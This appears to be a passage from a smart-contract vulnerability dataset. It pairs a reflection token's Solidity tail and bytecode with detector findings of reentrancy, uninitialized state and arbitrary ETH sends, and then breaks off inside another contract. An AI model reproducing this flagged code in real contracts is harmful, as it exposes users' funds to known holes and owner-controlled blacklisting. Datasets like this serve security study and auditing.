uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610567578063c3c8cd801461062c578063c9567bf914610643578063d543dbeb1461065a578063dd62ed3e1461069557610114565b8063715018a61461040e5780638da5cb5b1461042557806395d89b4114610466578063a9059cbb146104f657610114565b8063273123b7116100dc578063273123b7146102d6578063313ce567146103275780635932ead1146103555780636fc3eaec1461039257806370a08231146103a957610114565b806306fdde0314610119578063095ea7b3146101a957806318160ddd1461021a57806323b872dd1461024557610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e61071a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016e578082015181840152602081019050610153565b50505050905090810190601f16801561019b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b557600080fd5b50610202600480360360408110156101cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610757565b60405180821515815260200191505060405180910390f35b34801561022657600080fd5b5061022f610775565b6040518082815260200191505060405180910390f35b34801561025157600080fd5b506102be6004803603606081101561026857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610786565b60405180821515815260200191505060405180910390f35b3480156102e257600080fd5b50610325600480360360208110156102f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061085f565b005b34801561033357600080fd5b5061033c610982565b604051808260ff16815260200191505060405180910390f35b34801561036157600080fd5b506103906004803603602081101561037857600080fd5b8101908080351515906020019092919050505061098b565b005b34801561039e57600080fd5b506103a7610a70565b005b3480156103b557600080fd5b506103f8600480360360208110156103cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ae2565b6040518082815260200191505060405180910390f35b34801561041a57600080fd5b50610423610bcd565b005b34801561043157600080fd5b5061043a610d53565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047257600080fd5b5061047b610d7c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104bb5780820151818401526020810190506104a0565b50505050905090810190601f1680156104e85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050257600080fd5b5061054f6004803603604081101561051957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610db9565b60405180821515815260200191505060405180910390f35b34801561057357600080fd5b5061062a6004803603602081101561058a57600080fd5b81019080803590602001906401000000008111156105a757600080fd5b8201836020820111156105b957600080fd5b803590602001918460208302840111640100000000831117156105db57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610dd7565b005b34801561063857600080fd5b50610641610f27565b005b34801561064f57600080fd5b50610658610fa1565b005b34801561066657600080fd5b506106936004803603602081101561067d57600080fd5b810190808035906020019092919050505061160f565b005b3480156106a157600080fd5b50610704600480360360408110156106b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117be565b6040518082815260200191505060405180910390f35b60606040518060400160405280600c81526020017f436173746c6520427261766f0000000000000000000000000000000000000000815250905090565b600061076b610764611845565b848461184d565b6001905092915050565b60006869ed328743a9480000905090565b6000610793848484611a44565b6108548461079f611845565b61084f85604051806060016040528060288152602001613d9660289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610805611845565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123089092919063ffffffff16565b61184d565b600190509392505050565b610867611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610927576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610993611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a53576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ab1611845565b73ffffffffffffffffffffffffffffffffffffffff1614610ad157600080fd5b6000479050610adf816123c8565b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610b7d57600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610bc8565b610bc5600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124c3565b90505b919050565b610bd5611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c95576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f425241564fefb88f000000000000000000000000000000000000000000000000815250905090565b6000610dcd610dc6611845565b8484611a44565b6001905092915050565b610ddf611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e9f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b8151811015610f2357600160076000848481518110610ebd57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050610ea2565b5050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f68611845565b73ffffffffffffffffffffffffffffffffffffffff1614610f8857600080fd5b6000610f9330610ae2565b9050610f9e81612547565b50565b610fa9611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611069576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b601360149054906101000a900460ff16156110ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f74726164696e6720697320616c7265616479206f70656e00000000000000000081525060200191505060405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061117c30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166869ed328743a948000061184d565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156111c257600080fd5b505afa1580156111d6573d6000803e3d6000fd5b505050506040513d60208110156111ec57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561125f57600080fd5b505afa158015611273573d6000803e3d6000fd5b505050506040513d602081101561128957600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15801561130357600080fd5b505af1158015611317573d6000803e3d6000fd5b505050506040513d602081101561132d57600080fd5b8101908080519060200190929190505050601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306113c730610ae2565b6000806113d2610d53565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b15801561145757600080fd5b505af115801561146b573d6000803e3d6000fd5b50505050506040513d606081101561148257600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001601360166101000a81548160ff0219169083151502179055506001601360176101000a81548160ff0219169083151502179055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156115d057600080fd5b505af11580156115e4573d6000803e3d6000fd5b505050506040513d60208110156115fa57600080fd5b81019080805190602001909291905050505050565b611617611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000811161174d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b61177c606461176e836869ed328743a948000061283190919063ffffffff16565b6128b790919063ffffffff16565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6014546040518082815260200191505060405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118d3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613e0c6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611959576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613d536022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611aca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613de76025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613d066023913960400191505060405180910390fd5b60008111611ba9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613dbe6029913960400191505060405180910390fd5b611bb1610d53565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c1f5750611bef610d53565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561224557601360179054906101000a900460ff1615611e85573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611ca157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611cfb5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611d555750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e8457601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611d9b611845565b73ffffffffffffffffffffffffffffffffffffffff161480611e115750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611df9611845565b73ffffffffffffffffffffffffffffffffffffffff16145b611e83576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4552523a20556e6973776170206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611f7557601454811115611ec757600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f6b5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611f7457600080fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120205750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120765750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561208e5750601360179054906101000a900460ff165b156121265742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106120de57600080fd5b601e4201600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061213130610ae2565b9050601360159054906101000a900460ff1615801561219e5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156121b65750601360169054906101000a900460ff165b1561224357601360179054906101000a900460ff1615612220576101684203600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061221f57600080fd5b5b61222981612547565b6000479050600081111561224157612240476123c8565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806122ec5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156122f657600090505b61230284848484612901565b50505050565b60008383111582906123b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561237a57808201518184015260208101905061235f565b50505050905090810190601f1680156123a75780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6124186002846128b790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612443573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6124946002846128b790919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156124bf573d6000803e3d6000fd5b5050565b6000600a54821115612520576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613d29602a913960400191505060405180910390fd5b600061252a612b58565b905061253f81846128b790919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506060600267ffffffffffffffff8111801561257c57600080fd5b506040519080825280602002602001820160405280156125ab5781602001602082028036833780820191505090505b50905030816000815181106125bc57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561265e57600080fd5b505afa158015612672573d6000803e3d6000fd5b505050506040513d602081101561268857600080fd5b8101908080519060200190929190505050816001815181106126a657fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061270d30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461184d565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b838110156127d15780820151818401526020810190506127b6565b505050509050019650505050505050600060405180830381600087803b1580156127fa57600080fd5b505af115801561280e573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b60008083141561284457600090506128b1565b600082840290508284828161285557fe5b04146128ac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613d756021913960400191505060405180910390fd5b809150505b92915050565b60006128f983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612b83565b905092915050565b8061290f5761290e612c49565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156129b25750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156129c7576129c2848484612c8c565b612b44565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612a6a5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612a7f57612a7a848484612eec565b612b43565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612b215750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612b3657612b3184848461314c565b612b42565b612b41848484613441565b5b5b5b80612b5257612b5161360c565b5b50505050565b6000806000612b65613620565b91509150612b7c81836128b790919063ffffffff16565b9250505090565b60008083118290612c2f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612bf4578082015181840152602081019050612bd9565b50505050905090810190601f168015612c215780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612c3b57fe5b049050809150509392505050565b6000600c54148015612c5d57506000600d54145b15612c6757612c8a565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612c9e876138cd565b955095509550955095509550612cfc87600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461393590919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d9186600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461393590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e2685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461397f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e7281613a07565b612e7c8483613bac565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080612efe876138cd565b955095509550955095509550612f5c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461393590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ff183600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461397f90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061308685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461397f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506130d281613a07565b6130dc8483613bac565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b60008060008060008061315e876138cd565b9550955095509550955095506131bc87600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461393590919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061325186600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461393590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506132e683600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461397f90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061337b85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461397f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506133c781613a07565b6133d18483613bac565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080613453876138cd565b9550955095509550955095506134b186600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461393590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061354685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461397f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061359281613a07565b61359c8483613bac565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600a54905060006869ed328743a9480000905060005b6009805490508110156138825782600260006009848154811061365a57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118061374157508160036000600984815481106136d957fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b1561375f57600a546869ed328743a9480000945094505050506138c9565b6137e8600260006009848154811061377357fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548461393590919063ffffffff16565b925061387360036000600984815481106137fe57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361393590919063ffffffff16565b9150808060010191505061363b565b506138a16869ed328743a9480000600a546128b790919063ffffffff16565b8210156138c057600a546869ed328743a94800009350935050506138c9565b81819350935050505b9091565b60008060008060008060008060006138ea8a600c54600d54613be6565b92509250925060006138fa612b58565b9050600080600061390d8e878787613c7c565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061397783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612308565b905092915050565b6000808284019050838110156139fd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000613a11612b58565b90506000613a28828461283190919063ffffffff16565b9050613a7c81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461397f90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613ba757613b6383600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461397f90919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b613bc182600a5461393590919063ffffffff16565b600a81905550613bdc81600b5461397f90919063ffffffff16565b600b819055505050565b600080600080613c126064613c04888a61283190919063ffffffff16565b6128b790919063ffffffff16565b90506000613c3c6064613c2e888b61283190919063ffffffff16565b6128b790919063ffffffff16565b90506000613c6582613c57858c61393590919063ffffffff16565b61393590919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613c95858961283190919063ffffffff16565b90506000613cac868961283190919063ffffffff16565b90506000613cc3878961283190919063ffffffff16565b90506000613cec82613cde858761393590919063ffffffff16565b61393590919063ffffffff16565b905083818496509650965050505050945094509491505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212204cdef3a62244594d2ef6c72c0f68bcb74774975e4077e2433e0807398372fe1a64736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 9,113 |
0x699e0f01c98621b11eb0facfc1e00a094cb395b4
|
pragma solidity ^0.4.17;
contract SafeMath {
function safeAdd(uint x, uint y) pure internal returns(uint) {
uint z = x + y;
assert((z >= x) && (z >= y));
return z;
}
function safeSubtract(uint x, uint y) pure internal returns(uint) {
assert(x >= y);
